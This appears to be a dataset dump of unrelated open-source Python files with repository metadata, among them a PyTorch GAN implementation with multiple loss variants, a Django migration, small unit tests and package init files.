padding=1, bias=False), nn.BatchNorm2d(256), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(256, 512, 4, 2, padding=1, bias=False), nn.BatchNorm2d(512), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(512, 1, 4, 1, bias=False), ) def forward(self, x): return self.layers(x).view(-1, ) class Generator_96(nn.Module): def __init__(self): super(Generator_96, self).__init__() self.layers = nn.Sequential( nn.ConvTranspose2d(100, 512, 6, 1, bias=False), nn.BatchNorm2d(512), nn.ReLU(inplace=True), nn.ConvTranspose2d(512, 256, 4, 2, padding=1, bias=False), nn.BatchNorm2d(256), nn.ReLU(inplace=True), nn.ConvTranspose2d(256, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.ConvTranspose2d(128, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 3, 4, 2, padding=1, bias=False), nn.Tanh(), ) def forward(self, z): z = z.view(z.size(0), z.size(1), 1, 1) return self.layers(z) class Discriminator_96(nn.Module): def __init__(self): super(Discriminator_96, self).__init__() self.layers = nn.Sequential( nn.Conv2d(3, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(128, 256, 4, 2, padding=1, bias=False), nn.BatchNorm2d(256), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(256, 512, 4, 2, padding=1, bias=False), nn.BatchNorm2d(512), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(512, 1, 6, 1, bias=False), ) def forward(self, x): return self.layers(x).view(-1, ) class GAN(): def __init__(self, args): self.device = args.device self.mode = args.mode if args.img_size == 32: self.netG = Generator_32() self.netD = Discriminator_32() if args.img_size == 64: self.netG = Generator_64() self.netD = Discriminator_64() if args.img_size == 96: self.netG = Generator_96() self.netD = Discriminator_96() self.netG.to(self.device) self.netD.to(self.device) self.optimG = None if hasattr(args, 'g_lr'): self.optimG = optim.Adam(self.netG.parameters(), lr=args.g_lr, betas=args.g_betas) self.optimD = None if hasattr(args, 'd_lr'): self.optimD = optim.Adam(self.netD.parameters(), lr=args.d_lr, betas=args.d_betas) self.vardict = { 'netG': self.netG, 'netD': self.netD, 'optimG': self.optimG, 'optimD': self.optimD } print('netG') summary(self.netG, (args.z_dim, ), use_gpu=args.gpu) print('netD') summary(self.netD, (3, args.img_size, args.img_size), use_gpu=args.gpu) def init(self, init_fn): self.netG.apply(init_fn) self.netD.apply(init_fn) def trainG(self, x_real, z): x_fake = self.netG(z) d_real = self.netD(x_real) d_fake = self.netD(x_fake) errG = {} if self.mode == 'mmgan': g_loss = -F.binary_cross_entropy_with_logits(d_fake, torch.zeros_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() if self.mode == 'nsgan': g_loss = F.binary_cross_entropy_with_logits(d_fake, torch.ones_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() if self.mode == 'wgan': g_loss = -d_fake.mean() errG['g_loss'] = g_loss.item() if self.mode == 'lsgan': # g_loss = 0.5 * F.mse_loss(d_fake, torch.ones_like(d_fake).to(self.device)) g_loss = F.mse_loss(d_fake, torch.ones_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() if self.mode == 'wgan-gp': g_loss = -d_fake.mean() errG['g_loss'] = g_loss.item() if self.mode == 'lsgan-gp': g_loss = F.mse_loss(d_fake, torch.ones_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() if self.mode == 'dragan': g_loss = F.binary_cross_entropy_with_logits(d_fake, torch.ones_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() if self.mode == 'gan-qp-l1': g_loss = (d_real - d_fake).mean() errG['g_loss'] = g_loss.item() if self.mode == 'gan-qp-l2': g_loss = (d_real - d_fake).mean() errG['g_loss'] = g_loss.item() if self.mode == 'rsgan': g_loss = F.binary_cross_entropy_with_logits(d_fake-d_real, torch.ones_like(d_fake).to(self.device)) errG['g_loss'] = g_loss.item() self.optimG.zero_grad() g_loss.backward() self.optimG.step() return errG def trainD(self, x_real, z): if self.mode == 'wgan': clip_weights(self.netD, 0.01) x_fake = self.netG(z).detach() d_real = self.netD(x_real) d_fake = self.netD(x_fake) errD = {} if self.mode == 'mmgan': d_loss_real = F.binary_cross_entropy_with_logits(d_real, torch.ones_like(d_real).to(self.device)) d_loss_fake = F.binary_cross_entropy_with_logits(d_fake, torch.zeros_like(d_fake).to(self.device)) d_loss = d_loss_real + d_loss_fake errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_loss'] = d_loss.item() if self.mode == 'nsgan': d_loss_real = F.binary_cross_entropy_with_logits(d_real, torch.ones_like(d_real).to(self.device)) d_loss_fake = F.binary_cross_entropy_with_logits(d_fake, torch.zeros_like(d_fake).to(self.device)) d_loss = d_loss_real + d_loss_fake errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_loss'] = d_loss.item() if self.mode == 'wgan': d_loss_real = d_real.mean() d_loss_fake = d_fake.mean() wd = d_loss_real - d_loss_fake d_loss = -wd errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_loss'] = d_loss.item() if self.mode == 'lsgan': d_loss_real = F.mse_loss(d_real, torch.ones_like(d_real).to(self.device)) d_loss_fake = F.mse_loss(d_fake, torch.zeros_like(d_fake).to(self.device)) # d_loss = 0.5 * (d_loss_real + d_loss_fake) d_loss = d_loss_real + d_loss_fake errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_loss'] = d_loss.item() if self.mode == 'wgan-gp': d_loss_real = d_real.mean() d_loss_fake = d_fake.mean() wd = d_loss_real - d_loss_fake d_loss = -wd d_gp = gradient_penalty(self.netD, self.device, x_real, x_fake) d_loss = d_loss + 10 * d_gp errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_gp'] = d_loss.item() errD['d_loss'] = d_loss.item() if self.mode == 'lsgan-gp': d_loss_real = F.mse_loss(d_real, torch.ones_like(d_real).to(self.device)) d_loss_fake = F.mse_loss(d_fake, torch.zeros_like(d_fake).to(self.device)) d_gp = gradient_penalty(self.netD, self.device, x_real, 'lsgan-gp') d_loss = d_loss_real + d_loss_fake + 150 * d_gp errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_gp'] = d_loss.item() errD['d_loss'] = d_loss.item() if self.mode == 'dragan': d_loss_real = F.binary_cross_entropy_with_logits(d_real, torch.ones_like(d_real).to(self.device)) d_loss_fake = F.binary_cross_entropy_with_logits(d_fake, torch.zeros_like(d_fake).to(self.device)) d_gp = gradient_penalty(self.netD, self.device, x_real, 'dragan') d_loss = d_loss_real + d_loss_fake errD['d_loss_real'] = d_loss_real.item() errD['d_loss_fake'] = d_loss_fake.item() errD['d_gp'] = d_loss.item() errD['d_loss'] = d_loss.item() if self.mode == 'gan-qp-l1': d_loss_ = d_real - d_fake d_norm = 10 * (x_real - x_fake).abs().view(x_real.size(0), -1).mean(dim=1, keepdim=True) d_loss = (-d_loss_ + 0.5 * d_loss_**2 / d_norm).mean() errD['mean d_loss_'] = d_loss_.mean().item() errD['mean d_norm'] = d_norm.mean().item() errD['d_loss'] = d_loss.item() if self.mode == 'gan-qp-l2': d_loss_ = d_real - d_fake d_norm = 10 * (x_real - x_fake).pow(2).view(x_real.size(0), -1).mean(dim=1, keepdim=True).sqrt() d_loss = (-d_loss_ + 0.5 * d_loss_**2 / d_norm).mean() errD['mean d_loss_'] = d_loss_.mean().item() errD['mean d_norm'] = d_norm.mean().item() errD['d_loss'] = d_loss.item() if self.mode == 'rsgan': d_loss = F.binary_cross_entropy_with_logits(d_real-d_fake, torch.ones_like(d_real).to(self.device)) errD['d_loss'] = d_loss.item() self.optimD.zero_grad() d_loss.backward() self.optimD.step() return errD def save_old(self, file, options=['netG', 'netD', 'optimG', 'optimD']): states = {} for name in options: states[name] = self.vardict[name].state_dict() torch.save(states, file) def load_old(self, file): states = torch.load(file) for name in states: if self.vardict[name] is not None: self.vardict[name].load_state_dict(states[name]) def save(self, file, options=['netG', 'netD', 'optimG', 'optimD'], data=None): checkpoint = { 'weights': {}, 'data': data } for name in options: checkpoint['weights'][name] = self.vardict[name].state_dict() torch.save(checkpoint, file) def load(self, file): checkpoint = torch.load(file) for name in checkpoint['weights']: if self.vardict[name] is not None: self.vardict[name].load_state_dict(checkpoint['weights'][name]) return checkpoint['data'] def train(self): self.netG.train() self.netD.train() def eval(self): self.netG.eval() self.netD.eval()

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Python

util/error.py

DarkNinja3141/Mover-Bot

0045ab2f143824ad5a914ed2b3817c17d1602e39

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

util/error.py

DarkNinja3141/Mover-Bot

0045ab2f143824ad5a914ed2b3817c17d1602e39

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

util/error.py

DarkNinja3141/Mover-Bot

0045ab2f143824ad5a914ed2b3817c17d1602e39

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

from dataclasses import dataclass @dataclass class CommandUseFailure(Exception): message: str

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Python

tests/kyu_8_tests/test_regex_count_lowercase_letters.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

40

2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

tests/kyu_8_tests/test_regex_count_lowercase_letters.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

tests/kyu_8_tests/test_regex_count_lowercase_letters.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

import unittest from katas.kyu_8.regex_count_lowercase_letters import lowercase_count class LowercaseCountTestCase(unittest.TestCase): def test_equals(self): self.assertEqual(lowercase_count('abc'), 3) def test_equals_2(self): self.assertEqual(lowercase_count('abcABC123'), 3) def test_equals_3(self): self.assertEqual(lowercase_count( 'abcABC123!@#$%^&*()_-+=}{[]|\':;?/>.<,~'), 3) def test_equals_4(self): self.assertEqual(lowercase_count(''), 0) def test_equals_5(self): self.assertEqual(lowercase_count( 'ABC123!@#$%^&*()_-+=}{[]|\':;?/>.<,~'), 0) def test_equals_6(self): self.assertEqual(lowercase_count('abcdefghijklmnopqrstuvwxyz'), 26)

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Python

dygraph/ppdet/modeling/__init__.py

heavengate/PaddleDetection

84e79e8760ba2ef7fbc3972d865316af9aade014

[ "Apache-2.0" ]

7

2021-03-18T12:13:20.000Z

2021-05-13T12:03:52.000Z

dygraph/ppdet/modeling/__init__.py

heavengate/PaddleDetection

84e79e8760ba2ef7fbc3972d865316af9aade014

[ "Apache-2.0" ]

null

dygraph/ppdet/modeling/__init__.py

heavengate/PaddleDetection

84e79e8760ba2ef7fbc3972d865316af9aade014

[ "Apache-2.0" ]

null

from . import ops from . import backbones from . import necks from . import proposal_generator from . import heads from . import losses from . import architectures from . import post_process from . import layers from . import utils from .ops import * from .backbones import * from .necks import * from .proposal_generator import * from .heads import * from .losses import * from .architectures import * from .post_process import * from .layers import * from .utils import *

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Python

src/neuralspace_examples/dataset_formatters/telungu.py

Neural-Space/neuralspace-examples

ca459b111f47cab8697fca9d82d2cd4f609f86b1

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null

src/neuralspace_examples/dataset_formatters/telungu.py

Neural-Space/neuralspace-examples

ca459b111f47cab8697fca9d82d2cd4f609f86b1

[ "Apache-2.0" ]

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2022-02-14T07:37:36.000Z

src/neuralspace_examples/dataset_formatters/telungu.py

Neural-Space/neuralspace-examples

ca459b111f47cab8697fca9d82d2cd4f609f86b1

[ "Apache-2.0" ]

null

import pandas as pd df = pd.read_csv(r'/Users/prakashramesh/others/dataset_for_text_classification/dataset/telugu_news/train.csv', encoding='UTF-8') print(df['body'])

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51b2f5272d3f10bb366c84e253ae144394c882b1

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Python

examples/python/cpu/numpy/example_16.py

kant/ocean-tensor-package

fb3fcff8bba7f4ef6cd8b8d02f0e1be1258da02d

[ "Apache-2.0" ]

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2018-08-16T21:32:49.000Z

2021-11-30T10:31:08.000Z

examples/python/cpu/numpy/example_16.py

kant/ocean-tensor-package

fb3fcff8bba7f4ef6cd8b8d02f0e1be1258da02d

[ "Apache-2.0" ]

null

examples/python/cpu/numpy/example_16.py

kant/ocean-tensor-package

fb3fcff8bba7f4ef6cd8b8d02f0e1be1258da02d

[ "Apache-2.0" ]

13

2018-08-17T17:33:16.000Z

2021-11-30T10:31:09.000Z

import pyOcean_cpu as ocean import numpy as np import pyOceanNumpy t = np.asarray([[1,2],[3,4],[5,6]],np.int32) print(t) print("====== ocean.asTensor(t) ======") a = ocean.asTensor(t); print(a) print("====== ocean.asTensor([t,a]) ======") b = ocean.asTensor([t,a]) print(b)

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Python

backend/src/common/migrations/0007_auto_20190922_0356.py

pavan168/IncidentManagement

7fbf111922a735d4cbe75969159858d6605a1e0b

[ "MIT" ]

17

2019-01-16T13:10:25.000Z

2021-02-07T02:04:11.000Z

backend/src/common/migrations/0007_auto_20190922_0356.py

pavan168/IncidentManagement

7fbf111922a735d4cbe75969159858d6605a1e0b

[ "MIT" ]

360

2019-02-13T15:24:44.000Z

2022-02-26T17:42:33.000Z

backend/src/common/migrations/0007_auto_20190922_0356.py

mohamednizar/request-management

a88a2ce35a7a1a98630ffd14c1a31a5173b662c8

[ "MIT" ]

46

2019-01-16T13:10:25.000Z

2021-06-23T02:44:18.000Z

# Generated by Django 2.2.1 on 2019-09-22 03:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('common', '0006_auto_20190921_1838'), ] operations = [ migrations.AlterField( model_name='district', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), migrations.AlterField( model_name='dsdivision', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), migrations.AlterField( model_name='gndivision', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), migrations.AlterField( model_name='policestation', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), migrations.AlterField( model_name='pollingstation', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), migrations.AlterField( model_name='ward', name='code', field=models.CharField(blank=True, max_length=36, null=True, unique=True), ), ]

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Python

homebrain/agents/devicemanager/__init__.py

ErikBjare/Homebrain

7e4dcc9d0e5f5ef6bde3d2cf31639527166ab124

[ "MIT" ]

1

2015-12-03T18:42:54.000Z

homebrain/agents/devicemanager/__init__.py

ErikBjare/Homebrain

7e4dcc9d0e5f5ef6bde3d2cf31639527166ab124

[ "MIT" ]

14

2015-12-02T22:21:12.000Z

2019-11-06T10:26:08.000Z

homebrain/agents/devicemanager/__init__.py

ErikBjare/Homebrain

7e4dcc9d0e5f5ef6bde3d2cf31639527166ab124

[ "MIT" ]

null

# Import the agent class from .devicemanager import DeviceManager

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py

Python

sphericalharmonics/__init__.py

Magicdietz/MixedCrystalSignature

8423c0cfac24270333f7ea29199b9213ece14f7e

[ "MIT" ]

null

sphericalharmonics/__init__.py

Magicdietz/MixedCrystalSignature

8423c0cfac24270333f7ea29199b9213ece14f7e

[ "MIT" ]

null

sphericalharmonics/__init__.py

Magicdietz/MixedCrystalSignature

8423c0cfac24270333f7ea29199b9213ece14f7e

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Aug 17 09:03:21 2018 @author: dietz """

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Utilities/Basic.py

WolVesz/Analysis

a67520f60759b2f945cfb8e36c517a2d63064d1a

[ "MIT" ]

null

Utilities/Basic.py

WolVesz/Analysis

a67520f60759b2f945cfb8e36c517a2d63064d1a

[ "MIT" ]

null

Utilities/Basic.py

WolVesz/Analysis

a67520f60759b2f945cfb8e36c517a2d63064d1a

[ "MIT" ]

null

import numbers import collections import numpy as np import pandas as pd from sklearn.datasets import make_blobs def isCollection(item): return isinstance(item, (collections.Sequence, np.ndarray)) def isNumeric(val): return isinstance(val, numbers.Number)

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py

Python

moe/library/__init__.py

jtpavlock/moe

6f053c8c53f92686013657bda676b00f97edd230

[ "MIT" ]

14

2021-09-04T11:42:18.000Z

2022-02-04T05:11:46.000Z

moe/library/__init__.py

jtpavlock/Moe

6f053c8c53f92686013657bda676b00f97edd230

[ "MIT" ]

56

2021-05-26T00:00:46.000Z

2021-08-08T17:14:31.000Z

moe/library/__init__.py

jtpavlock/moe

6f053c8c53f92686013657bda676b00f97edd230

[ "MIT" ]

1

2021-07-22T21:55:21.000Z

"""Moe database/library functionality.""" from sqlalchemy.orm import declarative_base SABase = declarative_base()

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py

Python

model/Logs.py

Videl/absentees-blackboard

35658c14253340c34ef7dac98322306c7c555df1

[ "MIT" ]

null

model/Logs.py

Videl/absentees-blackboard

35658c14253340c34ef7dac98322306c7c555df1

[ "MIT" ]

null

model/Logs.py

Videl/absentees-blackboard

35658c14253340c34ef7dac98322306c7c555df1

[ "MIT" ]

null

__author__ = 'Mael Beuget, Pierre Monnin & Thibaut Smith' from google.appengine.ext import ndb class Logs(ndb.Model): date_time = ndb.DateTimeProperty(required=True) category = ndb.StringProperty(required=True) author = ndb.StringProperty(required=True) description = ndb.StringProperty(required=True) def get_all_logs(): return list(Logs.query().order(-Logs.date_time).fetch())

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cff17ace77aaf8d3331a873c6d25266183317512

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py

Python

backend/underbudget/schemas/common.py

vimofthevine/underbudget4

c90eecf9879f7ce57c77a68b3f83b1d76c4451af

[ "MIT" ]

null

backend/underbudget/schemas/common.py

vimofthevine/underbudget4

c90eecf9879f7ce57c77a68b3f83b1d76c4451af

[ "MIT" ]

45

2019-12-23T23:45:10.000Z

2022-03-31T05:01:22.000Z

backend/underbudget/schemas/common.py

vimofthevine/underbudget4

c90eecf9879f7ce57c77a68b3f83b1d76c4451af

[ "MIT" ]

1

2020-12-26T17:16:58.000Z

""" Generic common schemas """ from marshmallow import Schema, fields class IdSchema(Schema): """ Simple ID schema """ id = fields.Integer()

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cff48a7e56c3963ebd04e885c2728fcedb9928d5

50

py

Python

application/management/commands/__init__.py

BaggerFast/Simple_votings

843769fa6fd2c04feb542e6b301b7b4810260d4e

[ "MIT" ]

null

application/management/commands/__init__.py

BaggerFast/Simple_votings

843769fa6fd2c04feb542e6b301b7b4810260d4e

[ "MIT" ]

null

application/management/commands/__init__.py

BaggerFast/Simple_votings

843769fa6fd2c04feb542e6b301b7b4810260d4e

[ "MIT" ]

null

""" Custom commands for django terminal usage """

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5cd6bc277d010720e207779237708e7e1fb573da

514

py

Python

tests.py

jcol27/rFactor2-championship-setup

a6c1ffe61bde361902adc3fc8ac8ebe05f8ccfd3

[ "MIT" ]

null

tests.py

jcol27/rFactor2-championship-setup

a6c1ffe61bde361902adc3fc8ac8ebe05f8ccfd3

[ "MIT" ]

null

tests.py

jcol27/rFactor2-championship-setup

a6c1ffe61bde361902adc3fc8ac8ebe05f8ccfd3

[ "MIT" ]

null

import unittest import unpack import ai_setup class Test(unittest.TestCase): def test_read_json(self): data = unpack.read_json() print(data) self.AssertTrue(1==1) def test_read_csv(self): pass def test_read_txt(self): pass def test_get_models(self): pass def test_get_lastest_versions(self): pass def test_unpack_mas(self): pass def test_extract_vehicle_info(self): pass def test_get_vehicles(self): pass def test_create_dirs(self): pass def create_rcd_file(self): pass

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37

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null

0

1

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1

0

4

7a24ce2f5e7578164d23afa1244ebd05dfd69fc8

54

py

Python

tests/__init__.py

sfauch1/thebuzz-playlist-scraper

10e9d57bec9f5d444e7036efac4f86beec92ddd7

[ "MIT" ]

null

tests/__init__.py

sfauch1/thebuzz-playlist-scraper

10e9d57bec9f5d444e7036efac4f86beec92ddd7

[ "MIT" ]

458

2020-07-12T10:10:25.000Z

2022-03-31T23:39:15.000Z

tests/__init__.py

sfauch1/thebuzz-playlist-scraper

10e9d57bec9f5d444e7036efac4f86beec92ddd7

[ "MIT" ]

null

"""Unit test package for thebuzz_playlist_scraper."""

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0

1

0

1

0

null

0

1

0

4

7a37773098aade0105ff903f0deeb40e9676be9e

104

bzl

Python

tools/build_defs/fb_python_test.bzl

tjzhou23/profilo

baeea045a00d2403cc3f45778bf9cb69d33801da

[ "Apache-2.0" ]

1,466

2018-03-13T17:13:49.000Z

2022-03-31T07:08:51.000Z

tools/build_defs/fb_python_test.bzl

tjzhou23/profilo

baeea045a00d2403cc3f45778bf9cb69d33801da

[ "Apache-2.0" ]

101

2018-03-13T18:43:34.000Z

2022-03-15T00:44:52.000Z

tools/build_defs/fb_python_test.bzl

tjzhou23/profilo

baeea045a00d2403cc3f45778bf9cb69d33801da

[ "Apache-2.0" ]

160

2018-03-13T18:08:21.000Z

2022-03-14T00:46:34.000Z

def fb_python_test(name, **kwargs): native.python_test( name = name, **kwargs )

17.333333

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null

1

0

1

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0

4

7a49006fce158d09955b331107bff75c0e5fdf90

150

py

Python

setup.py

openvax/phipkit

267a9b0bb3b79b3ff416e07ce390e43b84a02be4

[ "Apache-2.0" ]

2

2021-03-01T20:09:20.000Z

2021-03-02T05:52:34.000Z

setup.py

timodonnell/yabul

d2ad2fbf934b375f9ef2b6f2d9c2ab9c157260d2

[ "Apache-2.0" ]

null

setup.py

timodonnell/yabul

d2ad2fbf934b375f9ef2b6f2d9c2ab9c157260d2

[ "Apache-2.0" ]

null

# Trivial setup.py for backward compatability. # Configuration is in setup.cfg. from setuptools import setup if __name__ == "__main__": setup()

18.75

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true

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0

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null

0

1

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1

0

4

7a7888d11cd23d02caf01fbb0b3739e357bfa099

268

py

Python

api/views/speaker_views.py

williamsbdev/code-camp-api

02bb76d7a7cabfc6311e855348afd74baee01305

[ "MIT" ]

1

2015-12-21T02:20:40.000Z

api/views/speaker_views.py

williamsbdev/code-camp-api

02bb76d7a7cabfc6311e855348afd74baee01305

[ "MIT" ]

2

2015-05-31T01:54:35.000Z

2015-07-22T02:17:02.000Z

api/views/speaker_views.py

williamsbdev/code-camp-api

02bb76d7a7cabfc6311e855348afd74baee01305

[ "MIT" ]

null

from rest_framework import generics from api.models.speaker import Speaker from api.serializers.speaker_serializer import SpeakerSerializer class SpeakerList(generics.ListCreateAPIView): queryset = Speaker.objects.all() serializer_class = SpeakerSerializer

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null

0

1

0

1

0

4

7a89d6c43b1899f5516c8a64304959f0dad6994b

3,973

py

Python

test/service/section/input/test_tag.py

HansBug/pji

449d171cea0c03f4c302da886988f36f70e34ee6

[ "Apache-2.0" ]

null

test/service/section/input/test_tag.py

HansBug/pji

449d171cea0c03f4c302da886988f36f70e34ee6

[ "Apache-2.0" ]

null

test/service/section/input/test_tag.py

HansBug/pji

449d171cea0c03f4c302da886988f36f70e34ee6

[ "Apache-2.0" ]

null

import os import tempfile import pytest from pysyslimit import FilePermission, SystemUser, SystemGroup from pji.service.section.input.tag import TagFileInputTemplate from pji.utils import FilePool @pytest.mark.unittest class TestServiceSectionInputTag: def test_simple(self): tt = TagFileInputTemplate( tag='tag_x', local='./r.md', privilege='r--', ) assert tt.tag == 'tag_x' assert tt.local == './r.md' assert tt.privilege == FilePermission.loads('400') def test_repr(self): tt = TagFileInputTemplate( tag='tag_x', local='./r.md', privilege='r--', ) assert repr(tt) == "<TagFileInputTemplate tag: 'tag_x', local: './r.md', privilege: 'r--------'>" def test_call_simple(self): tt = TagFileInputTemplate( tag='tag_x', local='./r.md', privilege='r--', ) with FilePool({'tag_x': 'README.md'}) as pool, \ tempfile.TemporaryDirectory() as td: fi = tt(workdir=td, pool=pool) assert fi.tag == 'tag_x' assert fi.local == os.path.normpath(os.path.join(td, 'r.md')) assert fi.privilege == FilePermission.loads('400') def test_call_with_env(self): tt = TagFileInputTemplate( tag='tag_${T}_x', local='./${DIR}/r.md', privilege='r--', ) with FilePool({'tag_x': 'README.md'}) as pool, \ tempfile.TemporaryDirectory() as td: fi = tt(workdir=td, pool=pool, environ=dict(T='233', DIR='.')) assert fi.tag == 'tag_233_x' assert fi.local == os.path.normpath(os.path.join(td, 'r.md')) assert fi.privilege == FilePermission.loads('400') def test_call_invalid(self): tt = TagFileInputTemplate( tag='tag_${T}_x', local='./${DIR}/r.md', privilege='r--', ) with FilePool({'tag_x': 'README.md'}) as pool, \ tempfile.TemporaryDirectory() as td: with pytest.raises(KeyError): tt(workdir=td, pool=pool, environ=dict(T='123/s', DIR='.')) with pytest.raises(ValueError): tt(workdir=td, pool=pool, environ=dict(T='123', DIR='..')) def test_call_execute(self): tt = TagFileInputTemplate( tag='tag_x', local='./r.md', privilege='r--', ) with FilePool({'tag_x': 'README.md'}) as pool, \ tempfile.TemporaryDirectory() as td: fi = tt(workdir=td, pool=pool) fi() _target_path = os.path.normpath(os.path.join(td, 'r.md')) assert os.path.exists(_target_path) assert FilePermission.load_from_file(_target_path) == FilePermission.loads('400') with open('README.md', 'rb') as of, \ open(_target_path, 'rb') as tf: assert of.read() == tf.read() def test_call_execute_with_identification(self): tt = TagFileInputTemplate( tag='tag_x', local='./r.md', privilege='r--', identification='nobody', ) with FilePool({'tag_x': 'README.md'}) as pool, \ tempfile.TemporaryDirectory() as td: fi = tt(workdir=td, pool=pool) fi() _target_path = os.path.normpath(os.path.join(td, 'r.md')) assert os.path.exists(_target_path) assert FilePermission.load_from_file(_target_path) == FilePermission.loads('400') assert SystemUser.load_from_file(_target_path) == SystemUser.loads('nobody') assert SystemGroup.load_from_file(_target_path) == SystemGroup.loads('nogroup') with open('README.md', 'rb') as of, \ open(_target_path, 'rb') as tf: assert of.read() == tf.read()

33.957265

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0

null

0

1

0

1

0

null

0

4

8fba6087799ca0a3cb64914929bfe4bf6ef2ae2f

1,478

py

Python

aerospike/tests/test_aerospike.py

brentm5/integrations-core

5cac8788c95d8820435ef9c5d32d6a5463cf491d

[ "BSD-3-Clause" ]

2

2019-05-28T03:48:29.000Z

2019-07-05T07:05:58.000Z

aerospike/tests/test_aerospike.py

brentm5/integrations-core

5cac8788c95d8820435ef9c5d32d6a5463cf491d

[ "BSD-3-Clause" ]

4

2019-07-03T02:53:19.000Z

2019-07-10T14:52:14.000Z

aerospike/tests/test_aerospike.py

brentm5/integrations-core

5cac8788c95d8820435ef9c5d32d6a5463cf491d

[ "BSD-3-Clause" ]

1

2020-01-15T16:58:51.000Z

# (C) Datadog, Inc. 2019 # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import pytest from datadog_checks.aerospike import AerospikeCheck @pytest.mark.usefixtures('dd_environment') def test_check(aggregator, instance): check = AerospikeCheck('aerospike', {}, [instance]) check.check(instance) # This hasn't been working # aggregator.assert_metric('aerospike.batch_error', 0) aggregator.assert_metric('aerospike.cluster_size') aggregator.assert_metric('aerospike.namespace.objects') aggregator.assert_metric('aerospike.namespace.hwm_breached') aggregator.assert_metric('aerospike.namespace.client_write_error', 0) aggregator.assert_metric('aerospike.namespace.client_write_success', 1) aggregator.assert_metric('aerospike.namespace.truncate_lut', 0) aggregator.assert_metric('aerospike.namespace.tombstones', 0) aggregator.assert_metric('aerospike.set.tombstones', 0) aggregator.assert_metric('aerospike.set.truncate_lut', 0) aggregator.assert_metric('aerospike.set.memory_data_bytes', 289) aggregator.assert_metric('aerospike.set.objects', 1, tags=['namespace:test', 'set:characters', 'tag:value']) aggregator.assert_metric( 'aerospike.set.stop_writes_count', 0, tags=['namespace:test', 'set:characters', 'tag:value'] ) aggregator.assert_service_check('aerospike.can_connect', check.OK) aggregator.assert_service_check('aerospike.cluster_up', check.OK)

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1

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null

0

1

0

4

8fcdbfcd50bb7fdfb0803bd4562e609af5de298e

811

py

Python

algo/min_stack.py

calfzhou/lazy-lab

dcd67845e4bd1e0c82a05a89f53eec6912d870f8

[ "MIT" ]

null

algo/min_stack.py

calfzhou/lazy-lab

dcd67845e4bd1e0c82a05a89f53eec6912d870f8

[ "MIT" ]

null

algo/min_stack.py

calfzhou/lazy-lab

dcd67845e4bd1e0c82a05a89f53eec6912d870f8

[ "MIT" ]

null

class MinStack: def __init__(self): self._stack = [] def push(self, item): index = len(self._stack) if self._stack: min_item, min_index = self.min() if item >= min_item: index = min_index self._stack.append((item, index)) def pop(self): item, _ = self._stack.pop() return item def __len__(self): return len(self._stack) def __iter__(self): for item, _ in self._stack: yield item def __getitem__(self, i): return self._stack[i][0] def min(self): if len(self) > 0: _, min_index = self._stack[-1] return self._stack[min_index] else: return None def __repr__(self): return repr(self._stack)

21.918919

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0

null

1

0

null

0

1

0

1

0

4

8fe45e1fff74443689affba53f09428c1766361b

166

py

Python

client/util/html/tooling/list/UnorderedListElement.py

vincihb/stock-price-predictor

17f46bed7360817835a160ea4f1a6e057de4032d

[ "MIT" ]

null

client/util/html/tooling/list/UnorderedListElement.py

vincihb/stock-price-predictor

17f46bed7360817835a160ea4f1a6e057de4032d

[ "MIT" ]

1

2021-06-02T03:12:17.000Z

client/util/html/tooling/list/UnorderedListElement.py

vincihb/stock-price-predictor

17f46bed7360817835a160ea4f1a6e057de4032d

[ "MIT" ]

null

from client.util.html.tooling.list.ListElement import ListElement class UnorderedListElement(ListElement): def __init__(self): super().__init__('ul')

18.444444

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0.25

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0

1

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null

0

1

0

1

0

4

8ffdc8452f6e5133bdb62a17d9be74d8ac563d50

675

py

Python

app/forms.py

luckyharryji/Plask

82508b48cb393a011641ac808cfea7323cd1bdfa

[ "MIT" ]

null

app/forms.py

luckyharryji/Plask

82508b48cb393a011641ac808cfea7323cd1bdfa

[ "MIT" ]

null

